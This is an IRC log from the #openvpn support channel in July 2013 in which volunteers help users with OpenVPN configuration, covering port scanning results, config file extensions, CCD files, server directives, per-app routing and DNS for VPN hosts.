23:12 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
23:12 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
23:20 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has quit [Ping timeout: 240 seconds]
23:29 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has joined #openvpn
23:30 < SgrA> openvpn is now running, but nmap reports that port 1194 is closed. Is this correct or am I doing something wrong?
23:32 < EugeneKay> Yes, you're using nmap.
23:32 < EugeneKay> Look at lsof output
23:34 < SgrA> Yeah, found openvpn listening on 1194, thanks.
23:43 < pekster> nmap shouldn't show a litening UDP port as closed unless the firewall actively rejects the connection
23:44 < EugeneKay> Or you're using --tls-auth and openvpn doesn't respond at all ;-)
23:44 < pekster> Then it shows as 'filtered'
23:44 < pekster> It'll only show closed if it gets an active ICMP unreachable reply
23:44 < EugeneKay> I stand by my original response
23:44 < pekster> OpenVPN normally won't respond at all (even without using --tls-auth) if it doesn't get an expected initial packet
23:44 < EugeneKay> "you're using nmap"
23:45 < pekster> Well, I can nmap a host I know has openvpn running (as I'm connected to it) and it shows as 'filtered', not closed
23:45 < pekster> ie: nmap sends packets out, none come back
23:49 < pekster> http://paste.kde.org/788012/raw/
--- Day changed Wed Jul 03 2013
00:07 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Quit: Leaving]
00:08 -!- iliv [~iliv@178.137.25.199] has joined #openvpn
00:09 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has quit [Quit: WeeChat 0.4.1]
00:50 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has joined #openvpn
01:01 -!- andi__ is now known as andi
01:02 -!- andi [~andi@shell.sixhop.net] has quit [Changing host]
01:02 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
01:04 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
01:08 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:08 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:08 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:15 -!- mattock_afk is now known as mattock
01:21 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn
01:21 -!- mode/#openvpn [+o krzie] by ChanServ
01:23 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds]
01:23 -!- krzie is now known as krzee
01:27 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has quit [Quit: WeeChat 0.4.1]
01:34 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Ping timeout: 256 seconds]
01:35 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has joined #openvpn
01:35 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has quit [Changing host]
01:35 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
01:46 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Ping timeout: 264 seconds]
01:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
01:53 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds]
01:55 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
01:55 -!- [fred] [~fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
01:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:55 -!- Guest65292 [~wefefr@adsl-ull-39-64.45-151.net24.it] has joined #openvpn
01:56 -!- barhom [barhom@netsat.se] has quit [Ping timeout: 248 seconds]
01:56 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
01:57 -!- mode/#openvpn [+o krzee] by ChanServ
01:57 -!- barhom_ [barhom@netsat.se] has joined #openvpn
01:58 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has quit [Ping timeout: 256 seconds]
01:58 -!- [fred] [fred@konfuzi.us] has joined #openvpn
01:59 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 256 seconds]
02:11 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
02:12 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:23 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:28 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
02:31 -!- gown [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
02:32 -!- gown [~phonetic@gateway/tor-sasl/martinphone] has quit [Client Quit]
02:40 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
02:41 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
02:41 -!- krapper [krapper@territory.krapper.net] has quit [Remote host closed the connection]
02:41 -!- Alina-malina [Alina-mali@37.252.65.16] has quit [Read error: Connection reset by peer]
02:41 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
02:42 -!- Alina-malina [Alina-mali@37.252.65.16] has joined #openvpn
02:53 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Ping timeout: 240 seconds]
02:58 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Operation timed out]
02:59 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
03:00 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
03:02 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:11 -!- sokmar [~marcin@firma.sokrates.pl] has quit [Ping timeout: 256 seconds]
03:11 -!- sokmar [~marcin@firma.sokrates.pl] has joined #openvpn
03:14 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
03:22 -!- Alina-malina [Alina-mali@37.252.65.16] has quit [Read error: Connection reset by peer]
03:22 -!- Alina-malina [Alina-mali@37.252.65.16] has joined #openvpn
03:27 -!- Alina-malina [Alina-mali@37.252.65.16] has quit [Max SendQ exceeded]
03:29 -!- JAVACODER [~JAVACODER@2.190.43.137] has joined #openvpn
03:29 -!- Alina-malina [Alina-mali@37.252.65.16] has joined #openvpn
03:29 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
03:31 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
03:31 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
03:33 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:44 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
03:52 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Max SendQ exceeded]
03:54 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
03:59 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
04:06 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
04:12 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
04:24 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has joined #openvpn
04:29 -!- HaxCore [~p3rror@41.250.251.159] has joined #openvpn
04:29 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
04:31 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:34 -!- HaxCore [~p3rror@41.250.251.159] has quit [Ping timeout: 256 seconds]
05:06 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
05:07 < xTz>  /wii pekster
05:13 <@krzee> :D
05:15 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has quit [Quit: No Ping reply in 180 seconds.]
05:18 < xTz> pekster: this is when ran with the --ccd-exclusive option. the custom profile has nothing else than pushing a default GW and DNS servers. then these options are in the main config - everything works
05:18 < xTz> pekster: http://pastebin.com/FHzjM8K9
05:26 -!- HyperGlide [~HyperGlid@182.151.165.191] has quit [Remote host closed the connection]
05:28 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
05:29 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
05:33 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
05:33 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
05:41 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Quit: Leaving.]
05:44 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 252 seconds]
05:45 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
05:47 -!- JAVACODER [~JAVACODER@2.190.43.137] has quit [Ping timeout: 246 seconds]
05:47 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
06:02 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
06:31 < jzaw> !ping
06:31 <@vpnHelper> pong
06:31 -!- hR13 [~hR13@static-213-115-75-170.sme.bredbandsbolaget.se] has joined #openvpn
06:32 < hR13> Hi all, not sure this is the right channel, but Im setting up an OpenVPN server for e client on a Win7 pro machine but the service dont start when i start the service when I run "netstat -an" I dont se anything listening on port 11194 that I have configured in the server.ovpn file any one with any Ideas?
06:35 -!- zampa [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has quit [Ping timeout: 256 seconds]
06:36 <@novaflash> hR13: try posting your config file on pastebin so people can see it
06:40 < hR13> here is my server.ovpn http://pastebin.com/PukcBNzi
06:47 < hR13> I think I found the prblem, the search way to dh1024.pem
06:48 < hR13> will try brb
06:49 -!- Denial [Denial@90.205.133.229] has joined #openvpn
06:52 -!- hR13 [~hR13@static-213-115-75-170.sme.bredbandsbolaget.se] has quit [Ping timeout: 248 seconds]
06:52 -!- zampa [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has joined #openvpn
07:02 -!- hR13 [~hR13@static-213-115-75-170.sme.bredbandsbolaget.se] has joined #openvpn
07:05 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
07:07 <@ecrist> xTz: if it's not working, you're doing something wrong.
07:20 -!- Guest65292 [~wefefr@adsl-ull-39-64.45-151.net24.it] has left #openvpn []
07:20 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has joined #openvpn
07:20 < vaillor> guys, do you know why if i use ifconfig ip subnet instead of server ip subnet, i don't get continues client disconnection?
07:22 <@ecrist> no
07:22 <@ecrist> !configs
07:22 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
07:24 < vaillor> http://nopaste.info/8906eabefd.html
07:41 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has joined #openvpn
07:42 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:43 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Quit: Leaving.]
07:46 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:48 -!- hR13 [~hR13@static-213-115-75-170.sme.bredbandsbolaget.se] has quit [Ping timeout: 256 seconds]
07:50 < takamichi> I've seen both .ovpn and .conf file extensions being used for config files. Is there any reason not to use .ovpn across our Windows/OSX/Linux user base?
07:51 < kisom> takamichi: Some distros RC scrips looks for .conf files
07:51 < kisom> takamichi: The "official" file ending is .ovpn
07:53 < takamichi> kisom: right, thank you. On the client side our linux users use network-manager to import and initiate client connects. In this case using .ovpn should work fine right?
07:55 < kisom> takamichi: It should not matter in network-manager
07:55 < takamichi> kisom: cheers!
07:56 < kisom> I know the windows service requires .ovpn while the Arch systemd setup requires .conf
08:03 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
08:03 -!- novaflash is now known as novaflash_away
08:03 <@plaisthos> Also windows/android will automatically openvpn if you use .ovpn or add the openvpn mime type
08:03 <@plaisthos> !mime-type
08:04 <@plaisthos> !learn mime-type as OpenVPN configuration files (.ovpn) should have the MIME type application/x-openvpn-profile
08:04 <@vpnHelper> Joo got it.
08:04 <@plaisthos> !factoids
08:04 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
08:11 -!- novaflash_away is now known as novaflash
08:13 <@dazo> takamichi: on *nix, .conf/.cfg/.cnf is quite often used as the extension for configuration files ... .ovpn is a windows detail, to hook a special fil up against a special program ... In *nix, that's not such a commonly used feature - and often, the file type may be discovered/configured differently
08:14 <@dazo> kisom: *.ovpn is only the official extension on Windows
08:14 < takamichi> @dazo: thanks, thats what I thought.
08:16 <@dazo> plaisthos: if I have a webserver which provides .conf files with application/x-openvpn-profile ... will that work with Android?
08:16 <@plaisthos> dazo: yeah
08:16 <@dazo> cool!
08:16 <@plaisthos> android actually discourages usage based on extensions
08:17 <@dazo> which actually makes sense
08:17 <@dazo> .conf should, IMO, just be an indication for the user what kind of file it is ... not strictly related to a program, but more as a "function"
08:18 <@dazo> (like "this is a configuration file")
08:18 <@plaisthos> Look here: http://code.google.com/p/ics-openvpn/source/browse/AndroidManifest.xml
08:18 <@vpnHelper> Title: AndroidManifest.xml - ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com)
08:18 <@plaisthos> the intent-filter specify which mime types the app should be called for
08:18 <@dazo> uhh ... quite some patterns there ... :/
08:19 <@plaisthos> yeah the .ovpn pattern are strage, I took the stackoverflow advice and ran with it
08:20 <@dazo> :)
08:21 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 240 seconds]
08:22 < xTz> ecrist: https://forums.openvpn.net/topic13289.html
08:22 <@vpnHelper> Title: OpenVPN Support Forum Not reading CCD files : Configuration (at forums.openvpn.net)
08:23 < xTz> ecrist: if you could let me know what... Id be very grateful
08:27 <@ecrist> xTz: I'll check that forum post out in a few
08:28 <@dazo> xTz: boost the log level to at least 7 ... and look for "TEST FILE" entries in the log file ... that should reveal which file name OpenVPN tries to open
08:31 <@ecrist> DEFAULT
08:32 <@ecrist> that's the name it tries to open
08:37 <@plaisthos> If you put a openvpn profile on a nfc sticker with that mime type and scan the nfc sticker android would open openvpn import dialog
08:46 <@ecrist> xTz: I'll post a link on the forum to a presentation I did a couple years ago that covers CCD and DEFAULT
08:48 < vaillor> ecrist, have you red my config?
08:48 <@ecrist> no
08:49 < vaillor> http://nopaste.info/8906eabefd.html
08:51 <@ecrist> what was  your problem, vaillor?
08:52 < vaillor> ecrist, with config "server ip subnet" and "client"
08:52 < vaillor> i get continuous disconnections
08:52 < vaillor> to avoid it, i need to use keepalive
08:52 < vaillor> but
08:53 <@ecrist> oh yeah
08:53 < vaillor> if i change my config to "tls-server ifconfig ip subnet" and "tls-client ifconfig ip subnet"
08:53 <@ecrist> you should use keepalive anyway
08:53 < vaillor> i do not get anymore this problem, also not using keepalive
08:53 < vaillor> i'd like to know why
08:54 <@ecrist> that's odd
08:54 <@ecrist> --server is just an alias, really, for tls-server, ifconfig, and --mode server
08:56 < vaillor> if i use only "server" with ifconfig, openvpn fails accepting that config
08:56 <@ecrist> not have --mode server, you're not in a true client->server model, but a p2p
08:56 <@ecrist> you can't just use --server, I was paraphrasing
08:56 -!- hR13 [~hR13@79.102.108.219] has joined #openvpn
08:57 <@ecrist> so, without --mode server, you cannot have multiple clients connect
08:57 < vaillor> and if i use both?
08:57 < vaillor> server ip subnet ; ifconfig ip subnet ?
08:58 <@ecrist> no
08:58 <@ecrist> see the man page and look for the --server on that page
08:58 <@ecrist> !man
08:58 < vaillor> i just used it
08:58 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
08:58 < vaillor> ifconfig 10.0.0.1 255.255.255.0
08:58 < vaillor> server 10.0.0.0 255.255.255.0
08:58 <@ecrist> --server <ip> <subnet> does the ifconfig for you
08:59 < vaillor> now i have to go, thank you for your support
08:59 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Ping timeout: 260 seconds]
09:02 -!- ikrabbe [ingo@coop.ikrabbe-ask.de] has left #openvpn []
09:05 -!- hR13 [~hR13@79.102.108.219] has quit [Ping timeout: 256 seconds]
09:08 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
09:15 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:20 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 264 seconds]
09:22 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
09:27 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 276 seconds]
09:29 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
09:43 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
09:44 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
09:44 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:54 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Operation timed out]
09:54 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:58 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
09:58 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
09:59 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:59 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has left #openvpn []
10:03 -!- bisko [~bisko@77.70.26.115] has joined #openvpn
10:05 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:09 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
10:11 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
10:18 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
10:30 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
10:35 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Ping timeout: 246 seconds]
10:55 -!- bisko [~bisko@77.70.26.115] has quit [Ping timeout: 260 seconds]
10:59 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Quit: Leaving.]
11:10 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
11:11 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 240 seconds]
11:14 -!- raidz_away is now known as raidz
11:20 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
11:35 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
11:37 -!- atmosx [~me@gateway/tor-sasl/atmosx] has quit [Ping timeout: 240 seconds]
11:40 -!- burr_ [burr@2a01:4f8:190:5145::2] has joined #openvpn
11:41 < burr_> is it possible to set up openvpn to not route torrent traffic and traffic to a certain website through the vpn
11:41 -!- hR13 [~hR13@h216n3c1o253.bredband.skanova.com] has joined #openvpn
11:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:50 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
11:53 -!- hR13 [~hR13@h216n3c1o253.bredband.skanova.com] has quit [Ping timeout: 256 seconds]
11:57 <@dazo> burr_: it's all about routing ... otherwise, see this ... vvv
11:57 <@dazo> !routebyapp
11:57 <@vpnHelper> "routebyapp" is if you want to send only certain apps over the VPN you need to run a socks server on the internal VPN subnet (see !sockd) then get an app like proxifier (windows, osx) or tsocks (linux, BSD) to selectively route traffic over the socks proxy based on port/app/subnet or any combination.
12:01 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Ping timeout: 246 seconds]
12:01 -!- ade_b [~Ade@82.152.186.213] has joined #openvpn
12:01 -!- ade_b [~Ade@82.152.186.213] has quit [Changing host]
12:01 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:02 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
12:02 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
12:20 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
12:25 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Quit: Leaving.]
12:31 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
12:54 -!- WorkRoey [~roey@216-15-7-159.c3-0.bth-ubr1.lnh-bth.md.cable.rcn.com] has joined #openvpn
12:54 < WorkRoey> hi
12:54 < WorkRoey> is it possible to set up a light  DNS so that my OpenVPN hosts can connect to each other by name and not just by IP?
12:55 < WorkRoey> Can OpenVPN assign names to known hosts (known by certificates and mac addresses, say)
12:55 < WorkRoey> ?
12:55 <@dazo> WorkRoey: yes, you can use dnsmasq for such things
12:56 <@dazo> to assign hostnames based on CN ... then you need to do some scripting, which updates dnsmasq configs on-the-fly and tells it to reread the config
12:57 <@dazo> The MAC addresses in OpenVPN is also only mostly static on Windows .... on *nix, it usually changes on each connect ... so I wouldn't trust that as a long-term reference
12:58 -!- Denial- [~Denial@91.227.220.16] has joined #openvpn
12:59 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
13:00 -!- Denial [Denial@90.205.133.229] has quit [Ping timeout: 264 seconds]
13:00 -!- Denial- is now known as Denial
13:06 -!- Denial- [Denial@90.205.133.229] has joined #openvpn
13:09 -!- Denial [~Denial@91.227.220.16] has quit [Ping timeout: 256 seconds]
13:11 -!- Denial [~Denial@91.227.220.16] has joined #openvpn
13:12 -!- Denial- [Denial@90.205.133.229] has quit [Ping timeout: 264 seconds]
13:22 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Quit: Leaving.]
13:29 -!- troj [~xxx@94.242.205.4] has quit [Ping timeout: 240 seconds]
13:31 -!- hondza [yRLDrHqy@unaffiliated/hondza] has left #openvpn []
13:33 -!- troj [~xxx@94.242.205.4] has joined #openvpn
13:38 -!- Denial- [Denial@90.205.133.229] has joined #openvpn
13:42 -!- Denial [~Denial@91.227.220.16] has quit [Ping timeout: 256 seconds]
13:42 -!- Denial- is now known as Denial
13:55 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has joined #openvpn
13:55 -!- Denial [Denial@90.205.133.229] has quit []
13:55 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
13:56 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Ping timeout: 240 seconds]
13:57 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has joined #openvpn
13:57 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has quit [Changing host]
13:57 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
13:59 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has quit [Read error: Connection reset by peer]
14:02 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has quit [Ping timeout: 264 seconds]
14:03 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has joined #openvpn
14:07 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has quit [Read error: Connection reset by peer]
14:12 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has joined #openvpn
14:14 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has quit [Read error: Connection reset by peer]
14:18 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has joined #openvpn
14:19 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has quit [Read error: Connection reset by peer]
14:24 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has joined #openvpn
14:25 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has quit [Client Quit]
14:25 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has joined #openvpn
14:25 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
14:26 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has quit [Read error: Connection reset by peer]
14:29 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 246 seconds]
14:30 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has joined #openvpn
14:31 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has quit [Read error: Connection reset by peer]
14:36 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has joined #openvpn
14:37 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has quit [Read error: Connection reset by peer]
14:38 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
14:40 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
14:41 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has joined #openvpn
14:42 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has quit [Read error: Connection reset by peer]
14:51 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:53 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
14:56 -!- newbie|4 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Ping timeout: 256 seconds]
15:00 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has left #openvpn []
15:05 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
15:07 -!- burr_ [burr@2a01:4f8:190:5145::2] has quit [Quit: leaving]
15:16 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Excess Flood]
15:18 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
15:28 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:28 -!- newbie|4 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
15:30 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 276 seconds]
15:31 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
15:31 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
15:32 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
15:38 -!- Netsplit *.net <-> *.split quits: speed_racer84, dxtr
15:42 -!- Netsplit over, joins: speed_racer84
15:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
16:03 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
16:10 -!- mattock is now known as mattock_afk
16:12 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
16:19 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:25 -!- dazo is now known as dazo_afk
16:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:32 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Remote host closed the connection]
16:36 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 240 seconds]
16:38 -!- iliv [~iliv@178.137.25.199] has quit [Read error: Operation timed out]
16:39 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
16:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:45 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
16:46 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Remote host closed the connection]
16:47 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
16:48 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Remote host closed the connection]
16:52 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
17:06 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
17:08 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
17:13 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
17:23 -!- master_o1_master [~master_of@p4FD7B8F1.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
17:26 -!- master_of_master [~master_of@p4FD7BF8B.dip0.t-ipconnect.de] has joined #openvpn
17:28 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
17:29 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Quit: Leaving.]
17:51 < thumbs> 23/4
17:53 -!- groda [~erik@ip24.stallgarden.ac] has joined #openvpn
